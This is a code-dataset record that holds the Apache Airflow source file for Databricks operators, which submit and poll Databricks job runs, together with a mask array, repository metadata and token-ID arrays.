[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
apache/incubator-airflow
airflow/providers/databricks/operators/databricks.py
5
22258
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # """This module contains Databricks operators.""" import time from typing import Any, Dict, List, Optional, Union from airflow.exceptions import AirflowException from airflow.models import BaseOperator from airflow.providers.databricks.hooks.databricks import DatabricksHook from airflow.utils.decorators import apply_defaults XCOM_RUN_ID_KEY = 'run_id' XCOM_RUN_PAGE_URL_KEY = 'run_page_url' def _deep_string_coerce(content, json_path: str = 'json') -> Union[str, list, dict]: """ Coerces content or all values of content if it is a dict to a string. The function will throw if content contains non-string or non-numeric types. The reason why we have this function is because the ``self.json`` field must be a dict with only string values. This is because ``render_template`` will fail for numerical values. """ coerce = _deep_string_coerce if isinstance(content, str): return content elif isinstance( content, ( int, float, ), ): # Databricks can tolerate either numeric or string types in the API backend. return str(content) elif isinstance(content, (list, tuple)): return [coerce(e, f'{json_path}[{i}]') for i, e in enumerate(content)] elif isinstance(content, dict): return {k: coerce(v, f'{json_path}[{k}]') for k, v in list(content.items())} else: param_type = type(content) msg = f'Type {param_type} used for parameter {json_path} is not a number or a string' raise AirflowException(msg) def _handle_databricks_operator_execution(operator, hook, log, context) -> None: """ Handles the Airflow + Databricks lifecycle logic for a Databricks operator :param operator: Databricks operator being handled :param context: Airflow context """ if operator.do_xcom_push: context['ti'].xcom_push(key=XCOM_RUN_ID_KEY, value=operator.run_id) log.info('Run submitted with run_id: %s', operator.run_id) run_page_url = hook.get_run_page_url(operator.run_id) if operator.do_xcom_push: context['ti'].xcom_push(key=XCOM_RUN_PAGE_URL_KEY, value=run_page_url) log.info('View run status, Spark UI, and logs at %s', run_page_url) while True: run_state = hook.get_run_state(operator.run_id) if run_state.is_terminal: if run_state.is_successful: log.info('%s completed successfully.', operator.task_id) log.info('View run status, Spark UI, and logs at %s', run_page_url) return else: error_message = f'{operator.task_id} failed with terminal state: {run_state}' raise AirflowException(error_message) else: log.info('%s in run state: %s', operator.task_id, run_state) log.info('View run status, Spark UI, and logs at %s', run_page_url) log.info('Sleeping for %s seconds.', operator.polling_period_seconds) time.sleep(operator.polling_period_seconds) class DatabricksSubmitRunOperator(BaseOperator): """ Submits a Spark job run to Databricks using the `api/2.0/jobs/runs/submit <https://docs.databricks.com/api/latest/jobs.html#runs-submit>`_ API endpoint. There are two ways to instantiate this operator. In the first way, you can take the JSON payload that you typically use to call the ``api/2.0/jobs/runs/submit`` endpoint and pass it directly to our ``DatabricksSubmitRunOperator`` through the ``json`` parameter. For example :: json = { 'new_cluster': { 'spark_version': '2.1.0-db3-scala2.11', 'num_workers': 2 }, 'notebook_task': { 'notebook_path': '/Users/airflow@example.com/PrepareData', }, } notebook_run = DatabricksSubmitRunOperator(task_id='notebook_run', json=json) Another way to accomplish the same thing is to use the named parameters of the ``DatabricksSubmitRunOperator`` directly. Note that there is exactly one named parameter for each top level parameter in the ``runs/submit`` endpoint. In this method, your code would look like this: :: new_cluster = { 'spark_version': '2.1.0-db3-scala2.11', 'num_workers': 2 } notebook_task = { 'notebook_path': '/Users/airflow@example.com/PrepareData', } notebook_run = DatabricksSubmitRunOperator( task_id='notebook_run', new_cluster=new_cluster, notebook_task=notebook_task) In the case where both the json parameter **AND** the named parameters are provided, they will be merged together. If there are conflicts during the merge, the named parameters will take precedence and override the top level ``json`` keys. Currently the named parameters that ``DatabricksSubmitRunOperator`` supports are - ``spark_jar_task`` - ``notebook_task`` - ``spark_python_task`` - ``spark_submit_task`` - ``new_cluster`` - ``existing_cluster_id`` - ``libraries`` - ``run_name`` - ``timeout_seconds`` .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:DatabricksSubmitRunOperator` :param json: A JSON object containing API parameters which will be passed directly to the ``api/2.0/jobs/runs/submit`` endpoint. The other named parameters (i.e. ``spark_jar_task``, ``notebook_task``..) to this operator will be merged with this json dictionary if they are provided. If there are conflicts during the merge, the named parameters will take precedence and override the top level json keys. (templated) .. seealso:: For more information about templating see :ref:`jinja-templating`. https://docs.databricks.com/api/latest/jobs.html#runs-submit :type json: dict :param spark_jar_task: The main class and parameters for the JAR task. Note that the actual JAR is specified in the ``libraries``. *EITHER* ``spark_jar_task`` *OR* ``notebook_task`` *OR* ``spark_python_task`` *OR* ``spark_submit_task`` should be specified. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#jobssparkjartask :type spark_jar_task: dict :param notebook_task: The notebook path and parameters for the notebook task. *EITHER* ``spark_jar_task`` *OR* ``notebook_task`` *OR* ``spark_python_task`` *OR* ``spark_submit_task`` should be specified. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#jobsnotebooktask :type notebook_task: dict :param spark_python_task: The python file path and parameters to run the python file with. *EITHER* ``spark_jar_task`` *OR* ``notebook_task`` *OR* ``spark_python_task`` *OR* ``spark_submit_task`` should be specified. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#jobssparkpythontask :type spark_python_task: dict :param spark_submit_task: Parameters needed to run a spark-submit command. *EITHER* ``spark_jar_task`` *OR* ``notebook_task`` *OR* ``spark_python_task`` *OR* ``spark_submit_task`` should be specified. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#jobssparksubmittask :type spark_submit_task: dict :param new_cluster: Specs for a new cluster on which this task will be run. *EITHER* ``new_cluster`` *OR* ``existing_cluster_id`` should be specified. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#jobsclusterspecnewcluster :type new_cluster: dict :param existing_cluster_id: ID for existing cluster on which to run this task. *EITHER* ``new_cluster`` *OR* ``existing_cluster_id`` should be specified. This field will be templated. :type existing_cluster_id: str :param libraries: Libraries which this run will use. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/libraries.html#managedlibrarieslibrary :type libraries: list of dicts :param run_name: The run name used for this task. By default this will be set to the Airflow ``task_id``. This ``task_id`` is a required parameter of the superclass ``BaseOperator``. This field will be templated. :type run_name: str :param timeout_seconds: The timeout for this run. By default a value of 0 is used which means to have no timeout. This field will be templated. :type timeout_seconds: int32 :param databricks_conn_id: The name of the Airflow connection to use. By default and in the common case this will be ``databricks_default``. To use token based authentication, provide the key ``token`` in the extra field for the connection and create the key ``host`` and leave the ``host`` field empty. :type databricks_conn_id: str :param polling_period_seconds: Controls the rate which we poll for the result of this run. By default the operator will poll every 30 seconds. :type polling_period_seconds: int :param databricks_retry_limit: Amount of times retry if the Databricks backend is unreachable. Its value must be greater than or equal to 1. :type databricks_retry_limit: int :param databricks_retry_delay: Number of seconds to wait between retries (it might be a floating point number). :type databricks_retry_delay: float :param do_xcom_push: Whether we should push run_id and run_page_url to xcom. :type do_xcom_push: bool """ # Used in airflow.models.BaseOperator template_fields = ('json',) # Databricks brand color (blue) under white text ui_color = '#1CB1C2' ui_fgcolor = '#fff' # pylint: disable=too-many-arguments @apply_defaults def __init__( self, *, json: Optional[Any] = None, spark_jar_task: Optional[Dict[str, str]] = None, notebook_task: Optional[Dict[str, str]] = None, spark_python_task: Optional[Dict[str, Union[str, List[str]]]] = None, spark_submit_task: Optional[Dict[str, List[str]]] = None, new_cluster: Optional[Dict[str, object]] = None, existing_cluster_id: Optional[str] = None, libraries: Optional[List[Dict[str, str]]] = None, run_name: Optional[str] = None, timeout_seconds: Optional[int] = None, databricks_conn_id: str = 'databricks_default', polling_period_seconds: int = 30, databricks_retry_limit: int = 3, databricks_retry_delay: int = 1, do_xcom_push: bool = False, **kwargs, ) -> None: """Creates a new ``DatabricksSubmitRunOperator``.""" super().__init__(**kwargs) self.json = json or {} self.databricks_conn_id = databricks_conn_id self.polling_period_seconds = polling_period_seconds self.databricks_retry_limit = databricks_retry_limit self.databricks_retry_delay = databricks_retry_delay if spark_jar_task is not None: self.json['spark_jar_task'] = spark_jar_task if notebook_task is not None: self.json['notebook_task'] = notebook_task if spark_python_task is not None: self.json['spark_python_task'] = spark_python_task if spark_submit_task is not None: self.json['spark_submit_task'] = spark_submit_task if new_cluster is not None: self.json['new_cluster'] = new_cluster if existing_cluster_id is not None: self.json['existing_cluster_id'] = existing_cluster_id if libraries is not None: self.json['libraries'] = libraries if run_name is not None: self.json['run_name'] = run_name if timeout_seconds is not None: self.json['timeout_seconds'] = timeout_seconds if 'run_name' not in self.json: self.json['run_name'] = run_name or kwargs['task_id'] self.json = _deep_string_coerce(self.json) # This variable will be used in case our task gets killed. self.run_id = None self.do_xcom_push = do_xcom_push def _get_hook(self) -> DatabricksHook: return DatabricksHook( self.databricks_conn_id, retry_limit=self.databricks_retry_limit, retry_delay=self.databricks_retry_delay, ) def execute(self, context): hook = self._get_hook() self.run_id = hook.submit_run(self.json) _handle_databricks_operator_execution(self, hook, self.log, context) def on_kill(self): hook = self._get_hook() hook.cancel_run(self.run_id) self.log.info('Task: %s with run_id: %s was requested to be cancelled.', self.task_id, self.run_id) class DatabricksRunNowOperator(BaseOperator): """ Runs an existing Spark job run to Databricks using the `api/2.0/jobs/run-now <https://docs.databricks.com/api/latest/jobs.html#run-now>`_ API endpoint. There are two ways to instantiate this operator. In the first way, you can take the JSON payload that you typically use to call the ``api/2.0/jobs/run-now`` endpoint and pass it directly to our ``DatabricksRunNowOperator`` through the ``json`` parameter. For example :: json = { "job_id": 42, "notebook_params": { "dry-run": "true", "oldest-time-to-consider": "1457570074236" } } notebook_run = DatabricksRunNowOperator(task_id='notebook_run', json=json) Another way to accomplish the same thing is to use the named parameters of the ``DatabricksRunNowOperator`` directly. Note that there is exactly one named parameter for each top level parameter in the ``run-now`` endpoint. In this method, your code would look like this: :: job_id=42 notebook_params = { "dry-run": "true", "oldest-time-to-consider": "1457570074236" } python_params = ["douglas adams", "42"] spark_submit_params = ["--class", "org.apache.spark.examples.SparkPi"] notebook_run = DatabricksRunNowOperator( job_id=job_id, notebook_params=notebook_params, python_params=python_params, spark_submit_params=spark_submit_params ) In the case where both the json parameter **AND** the named parameters are provided, they will be merged together. If there are conflicts during the merge, the named parameters will take precedence and override the top level ``json`` keys. Currently the named parameters that ``DatabricksRunNowOperator`` supports are - ``job_id`` - ``json`` - ``notebook_params`` - ``python_params`` - ``spark_submit_params`` :param job_id: the job_id of the existing Databricks job. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#run-now :type job_id: str :param json: A JSON object containing API parameters which will be passed directly to the ``api/2.0/jobs/run-now`` endpoint. The other named parameters (i.e. ``notebook_params``, ``spark_submit_params``..) to this operator will be merged with this json dictionary if they are provided. If there are conflicts during the merge, the named parameters will take precedence and override the top level json keys. (templated) .. seealso:: For more information about templating see :ref:`jinja-templating`. https://docs.databricks.com/api/latest/jobs.html#run-now :type json: dict :param notebook_params: A dict from keys to values for jobs with notebook task, e.g. "notebook_params": {"name": "john doe", "age": "35"}. The map is passed to the notebook and will be accessible through the dbutils.widgets.get function. See Widgets for more information. If not specified upon run-now, the triggered run will use the job’s base parameters. notebook_params cannot be specified in conjunction with jar_params. The json representation of this field (i.e. {"notebook_params":{"name":"john doe","age":"35"}}) cannot exceed 10,000 bytes. This field will be templated. .. seealso:: https://docs.databricks.com/user-guide/notebooks/widgets.html :type notebook_params: dict :param python_params: A list of parameters for jobs with python tasks, e.g. "python_params": ["john doe", "35"]. The parameters will be passed to python file as command line parameters. If specified upon run-now, it would overwrite the parameters specified in job setting. The json representation of this field (i.e. {"python_params":["john doe","35"]}) cannot exceed 10,000 bytes. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#run-now :type python_params: list[str] :param spark_submit_params: A list of parameters for jobs with spark submit task, e.g. "spark_submit_params": ["--class", "org.apache.spark.examples.SparkPi"]. The parameters will be passed to spark-submit script as command line parameters. If specified upon run-now, it would overwrite the parameters specified in job setting. The json representation of this field cannot exceed 10,000 bytes. This field will be templated. .. seealso:: https://docs.databricks.com/api/latest/jobs.html#run-now :type spark_submit_params: list[str] :param timeout_seconds: The timeout for this run. By default a value of 0 is used which means to have no timeout. This field will be templated. :type timeout_seconds: int32 :param databricks_conn_id: The name of the Airflow connection to use. By default and in the common case this will be ``databricks_default``. To use token based authentication, provide the key ``token`` in the extra field for the connection and create the key ``host`` and leave the ``host`` field empty. :type databricks_conn_id: str :param polling_period_seconds: Controls the rate which we poll for the result of this run. By default the operator will poll every 30 seconds. :type polling_period_seconds: int :param databricks_retry_limit: Amount of times retry if the Databricks backend is unreachable. Its value must be greater than or equal to 1. :type databricks_retry_limit: int :param do_xcom_push: Whether we should push run_id and run_page_url to xcom. :type do_xcom_push: bool """ # Used in airflow.models.BaseOperator template_fields = ('json',) # Databricks brand color (blue) under white text ui_color = '#1CB1C2' ui_fgcolor = '#fff' # pylint: disable=too-many-arguments @apply_defaults def __init__( self, *, job_id: Optional[str] = None, json: Optional[Any] = None, notebook_params: Optional[Dict[str, str]] = None, python_params: Optional[List[str]] = None, spark_submit_params: Optional[List[str]] = None, databricks_conn_id: str = 'databricks_default', polling_period_seconds: int = 30, databricks_retry_limit: int = 3, databricks_retry_delay: int = 1, do_xcom_push: bool = False, **kwargs, ) -> None: """Creates a new ``DatabricksRunNowOperator``.""" super().__init__(**kwargs) self.json = json or {} self.databricks_conn_id = databricks_conn_id self.polling_period_seconds = polling_period_seconds self.databricks_retry_limit = databricks_retry_limit self.databricks_retry_delay = databricks_retry_delay if job_id is not None: self.json['job_id'] = job_id if notebook_params is not None: self.json['notebook_params'] = notebook_params if python_params is not None: self.json['python_params'] = python_params if spark_submit_params is not None: self.json['spark_submit_params'] = spark_submit_params self.json = _deep_string_coerce(self.json) # This variable will be used in case our task gets killed. self.run_id = None self.do_xcom_push = do_xcom_push def _get_hook(self) -> DatabricksHook: return DatabricksHook( self.databricks_conn_id, retry_limit=self.databricks_retry_limit, retry_delay=self.databricks_retry_delay, ) def execute(self, context): hook = self._get_hook() self.run_id = hook.run_now(self.json) _handle_databricks_operator_execution(self, hook, self.log, context) def on_kill(self): hook = self._get_hook() hook.cancel_run(self.run_id) self.log.info('Task: %s with run_id: %s was requested to be cancelled.', self.task_id, self.run_id)
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 2765, 859, 3509, 577, 1936, 322, 5618, 10211, 1041, 199, 199, 646, 900, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 4879, 12, 15961, 199, 199, 504, 16321, 14, 3924, 492, 31040, 1726, 199, 504, 16321, 14, 992, 492, 3523, 7961, 199, 504, 16321, 14, 9710, 14, 68, 1936, 322, 5618, 14, 7922, 14, 68, 1936, 322, 5618, 492, 577, 1936, 322, 5618, 8481, 199, 504, 16321, 14, 1208, 14, 11582, 492, 4838, 63, 4322, 199, 199, 56, 11265, 63, 9390, 63, 998, 63, 3078, 275, 283, 1065, 63, 344, 7, 199, 56, 11265, 63, 9390, 63, 12898, 63, 2632, 63, 3078, 275, 283, 1065, 63, 1606, 63, 633, 7, 421, 199, 318, 485, 16131, 63, 875, 63, 14141, 8, 1317, 12, 2022, 63, 515, 26, 620, 275, 283, 1001, 358, 1035, 15961, 59, 495, 12, 769, 12, 1211, 2189, 272, 408, 272, 1849, 281, 823, 1564, 503, 1006, 1338, 402, 1564, 340, 652, 365, 282, 1211, 370, 282, 1059, 14, 710, 272, 805, 911, 7978, 340, 1564, 3509, 2222, 13, 875, 503, 2222, 13, 6677, 2943, 14, 339, 710, 4499, 10842, 781, 1172, 642, 805, 365, 2952, 314, 1124, 277, 14, 1001, 1040, 901, 1471, 506, 282, 272, 1211, 543, 1454, 1059, 1338, 14, 961, 365, 2952, 1124, 3352, 63, 1160, 1040, 911, 2449, 272, 367, 15470, 1338, 14, 272, 408, 272, 19874, 275, 485, 16131, 63, 875, 63, 14141, 272, 340, 1228, 8, 1317, 12, 620, 304, 267, 372, 1564, 272, 916, 1228, 8, 267, 1564, 12, 267, 334, 288, 1109, 12, 288, 2069, 12, 267, 2318, 272, 3461, 267, 327, 577, 1936, 322, 5618, 883, 370, 1435, 323, 1902, 8950, 503, 1059, 2943, 315, 314, 3261, 4865, 14, 267, 372, 620, 8, 1317, 9, 272, 916, 1228, 8, 1317, 12, 334, 513, 12, 2008, 2298, 267, 372, 359, 14141, 8, 69, 12, 289, 16019, 1001, 63, 515, 22857, 91, 73, 93, 10374, 367, 284, 12, 325, 315, 3874, 8, 1317, 1874, 272, 916, 1228, 8, 1317, 12, 1211, 304, 267, 372, 469, 75, 26, 19874, 8, 86, 12, 289, 16019, 1001, 63, 515, 22857, 91, 75, 93, 10374, 367, 1022, 12, 373, 315, 769, 8, 1317, 14, 1744, 1012, 93, 272, 587, 26, 267, 1215, 63, 466, 275, 730, 8, 1317, 9, 267, 1499, 275, 289, 7, 804, 469, 635, 63, 466, 93, 1202, 367, 2725, 469, 1001, 63, 515, 93, 365, 440, 282, 1329, 503, 282, 1059, 7, 267, 746, 31040, 1726, 8, 1328, 9, 421, 199, 318, 485, 2479, 63, 68, 1936, 322, 5618, 63, 3856, 63, 9416, 8, 3856, 12, 5759, 12, 943, 12, 1067, 9, 1035, 488, 26, 272, 408, 272, 23873, 314, 31040, 435, 577, 1936, 322, 5618, 15451, 7612, 9661, 367, 282, 577, 1936, 322, 5618, 4182, 339, 520, 635, 4182, 26, 577, 1936, 322, 5618, 4182, 3769, 8860, 272, 520, 635, 1067, 26, 31040, 1067, 272, 408, 272, 340, 4182, 14, 1117, 63, 88, 957, 63, 5335, 26, 267, 1067, 459, 280, 2278, 88, 957, 63, 5335, 8, 498, 29, 56, 11265, 63, 9390, 63, 998, 63, 3078, 12, 574, 29, 3856, 14, 1065, 63, 344, 9, 272, 943, 14, 815, 360, 2540, 16930, 543, 1255, 63, 344, 26, 450, 83, 297, 4182, 14, 1065, 63, 344, 9, 272, 1255, 63, 1606, 63, 633, 275, 5759, 14, 362, 63, 1065, 63, 1606, 63, 633, 8, 3856, 14, 1065, 63, 344, 9, 272, 340, 4182, 14, 1117, 63, 88, 957, 63, 5335, 26, 267, 1067, 459, 280, 2278, 88, 957, 63, 5335, 8, 498, 29, 56, 11265, 63, 9390, 63, 12898, 63, 2632, 63, 3078, 12, 574, 29, 1065, 63, 1606, 63, 633, 9, 339, 943, 14, 815, 360, 2768, 1255, 2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633, 9, 272, 1830, 715, 26, 267, 1255, 63, 929, 275, 5759, 14, 362, 63, 1065, 63, 929, 8, 3856, 14, 1065, 63, 344, 9, 267, 340, 1255, 63, 929, 14, 374, 63, 12010, 26, 288, 340, 1255, 63, 929, 14, 374, 63, 18157, 26, 355, 943, 14, 815, 3508, 83, 9709, 8792, 3130, 4182, 14, 1765, 63, 344, 9, 355, 943, 14, 815, 360, 2768, 1255, 2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633, 9, 355, 372, 288, 587, 26, 355, 1125, 63, 1188, 275, 289, 16019, 3856, 14, 1765, 63, 344, 93, 3405, 543, 11167, 1174, 26, 469, 1065, 63, 929, 6834, 355, 746, 31040, 1726, 8, 705, 63, 1188, 9, 267, 587, 26, 288, 943, 14, 815, 3508, 83, 315, 1255, 1174, 26, 450, 83, 297, 4182, 14, 1765, 63, 344, 12, 1255, 63, 929, 9, 288, 943, 14, 815, 360, 2768, 1255, 2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633, 9, 288, 943, 14, 815, 360, 25925, 367, 450, 83, 4696, 3130, 4182, 14, 17154, 63, 5191, 63, 4515, 9, 288, 900, 14, 4532, 8, 3856, 14, 17154, 63, 5191, 63, 4515, 9, 421, 199, 533, 577, 1936, 322, 5618, 17187 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 2765, 859, 3509, 577, 1936, 322, 5618, 10211, 1041, 199, 199, 646, 900, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 4879, 12, 15961, 199, 199, 504, 16321, 14, 3924, 492, 31040, 1726, 199, 504, 16321, 14, 992, 492, 3523, 7961, 199, 504, 16321, 14, 9710, 14, 68, 1936, 322, 5618, 14, 7922, 14, 68, 1936, 322, 5618, 492, 577, 1936, 322, 5618, 8481, 199, 504, 16321, 14, 1208, 14, 11582, 492, 4838, 63, 4322, 199, 199, 56, 11265, 63, 9390, 63, 998, 63, 3078, 275, 283, 1065, 63, 344, 7, 199, 56, 11265, 63, 9390, 63, 12898, 63, 2632, 63, 3078, 275, 283, 1065, 63, 1606, 63, 633, 7, 421, 199, 318, 485, 16131, 63, 875, 63, 14141, 8, 1317, 12, 2022, 63, 515, 26, 620, 275, 283, 1001, 358, 1035, 15961, 59, 495, 12, 769, 12, 1211, 2189, 272, 408, 272, 1849, 281, 823, 1564, 503, 1006, 1338, 402, 1564, 340, 652, 365, 282, 1211, 370, 282, 1059, 14, 710, 272, 805, 911, 7978, 340, 1564, 3509, 2222, 13, 875, 503, 2222, 13, 6677, 2943, 14, 339, 710, 4499, 10842, 781, 1172, 642, 805, 365, 2952, 314, 1124, 277, 14, 1001, 1040, 901, 1471, 506, 282, 272, 1211, 543, 1454, 1059, 1338, 14, 961, 365, 2952, 1124, 3352, 63, 1160, 1040, 911, 2449, 272, 367, 15470, 1338, 14, 272, 408, 272, 19874, 275, 485, 16131, 63, 875, 63, 14141, 272, 340, 1228, 8, 1317, 12, 620, 304, 267, 372, 1564, 272, 916, 1228, 8, 267, 1564, 12, 267, 334, 288, 1109, 12, 288, 2069, 12, 267, 2318, 272, 3461, 267, 327, 577, 1936, 322, 5618, 883, 370, 1435, 323, 1902, 8950, 503, 1059, 2943, 315, 314, 3261, 4865, 14, 267, 372, 620, 8, 1317, 9, 272, 916, 1228, 8, 1317, 12, 334, 513, 12, 2008, 2298, 267, 372, 359, 14141, 8, 69, 12, 289, 16019, 1001, 63, 515, 22857, 91, 73, 93, 10374, 367, 284, 12, 325, 315, 3874, 8, 1317, 1874, 272, 916, 1228, 8, 1317, 12, 1211, 304, 267, 372, 469, 75, 26, 19874, 8, 86, 12, 289, 16019, 1001, 63, 515, 22857, 91, 75, 93, 10374, 367, 1022, 12, 373, 315, 769, 8, 1317, 14, 1744, 1012, 93, 272, 587, 26, 267, 1215, 63, 466, 275, 730, 8, 1317, 9, 267, 1499, 275, 289, 7, 804, 469, 635, 63, 466, 93, 1202, 367, 2725, 469, 1001, 63, 515, 93, 365, 440, 282, 1329, 503, 282, 1059, 7, 267, 746, 31040, 1726, 8, 1328, 9, 421, 199, 318, 485, 2479, 63, 68, 1936, 322, 5618, 63, 3856, 63, 9416, 8, 3856, 12, 5759, 12, 943, 12, 1067, 9, 1035, 488, 26, 272, 408, 272, 23873, 314, 31040, 435, 577, 1936, 322, 5618, 15451, 7612, 9661, 367, 282, 577, 1936, 322, 5618, 4182, 339, 520, 635, 4182, 26, 577, 1936, 322, 5618, 4182, 3769, 8860, 272, 520, 635, 1067, 26, 31040, 1067, 272, 408, 272, 340, 4182, 14, 1117, 63, 88, 957, 63, 5335, 26, 267, 1067, 459, 280, 2278, 88, 957, 63, 5335, 8, 498, 29, 56, 11265, 63, 9390, 63, 998, 63, 3078, 12, 574, 29, 3856, 14, 1065, 63, 344, 9, 272, 943, 14, 815, 360, 2540, 16930, 543, 1255, 63, 344, 26, 450, 83, 297, 4182, 14, 1065, 63, 344, 9, 272, 1255, 63, 1606, 63, 633, 275, 5759, 14, 362, 63, 1065, 63, 1606, 63, 633, 8, 3856, 14, 1065, 63, 344, 9, 272, 340, 4182, 14, 1117, 63, 88, 957, 63, 5335, 26, 267, 1067, 459, 280, 2278, 88, 957, 63, 5335, 8, 498, 29, 56, 11265, 63, 9390, 63, 12898, 63, 2632, 63, 3078, 12, 574, 29, 1065, 63, 1606, 63, 633, 9, 339, 943, 14, 815, 360, 2768, 1255, 2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633, 9, 272, 1830, 715, 26, 267, 1255, 63, 929, 275, 5759, 14, 362, 63, 1065, 63, 929, 8, 3856, 14, 1065, 63, 344, 9, 267, 340, 1255, 63, 929, 14, 374, 63, 12010, 26, 288, 340, 1255, 63, 929, 14, 374, 63, 18157, 26, 355, 943, 14, 815, 3508, 83, 9709, 8792, 3130, 4182, 14, 1765, 63, 344, 9, 355, 943, 14, 815, 360, 2768, 1255, 2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633, 9, 355, 372, 288, 587, 26, 355, 1125, 63, 1188, 275, 289, 16019, 3856, 14, 1765, 63, 344, 93, 3405, 543, 11167, 1174, 26, 469, 1065, 63, 929, 6834, 355, 746, 31040, 1726, 8, 705, 63, 1188, 9, 267, 587, 26, 288, 943, 14, 815, 3508, 83, 315, 1255, 1174, 26, 450, 83, 297, 4182, 14, 1765, 63, 344, 12, 1255, 63, 929, 9, 288, 943, 14, 815, 360, 2768, 1255, 